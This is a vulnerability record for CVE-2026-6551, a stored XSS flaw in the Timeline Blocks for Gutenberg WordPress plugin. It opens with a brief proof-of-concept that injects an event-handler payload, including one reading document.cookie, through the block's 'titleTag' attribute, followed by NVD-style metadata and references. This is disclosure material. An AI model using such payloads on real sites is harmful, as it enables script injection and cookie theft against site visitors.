CVE-2026-6551

<!-- PoC: Stored XSS via titleTag attribute in Timeline Blocks --> <!-- Attacker with Contributor access creates a new page/block --> <!-- Injecting payload into the titleTag attribute --> <!-- Malicious Block JSON Representation --> <!-- If titleTag is used as a tag name: --> <!-- titleTag: "h2 onclick=alert('XSS')" --> <!-- Output: <h2 onclick=alert('XSS')>Title Content</h2> --> <script> // Example payload to be injected in the block attributes const payload = { "blockName": "timeline-blocks/tb-timeline-blocks", "attrs": { // Attempting to inject an event handler "titleTag": "h2 onmouseover=alert(document.cookie)" } }; console.log("Payload prepared for injection."); </script>

{"cve": {"id": "CVE-2026-6551", "sourceIdentifier": "[email protected]", "published": "2026-04-28T06:16:04.417", "lastModified": "2026-04-28T20:26:04.673", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Timeline Blocks for Gutenberg plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'titleTag' attribute of the timeline-blocks/tb-timeline-blocks block in all versions up to, and including, 1.1.10 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/timeline-blocks/tags/1.1.10/src/blocks/index.php#L202", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/timeline-blocks/tags/1.1.10/src/blocks/index.php#L343", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/timeline-blocks/trunk/src/blocks/index.php#L200", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/timeline-blocks/trunk/src/blocks/index.php#L202", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/timeline-blocks/trunk/src/blocks/index.php#L342", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/timeline-blocks/trunk/src/blocks/index.php#L343", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/393d1b30-19f8-454d-84c0-0b539953e1fe?source=cve", "source": "[email protected]"}]}}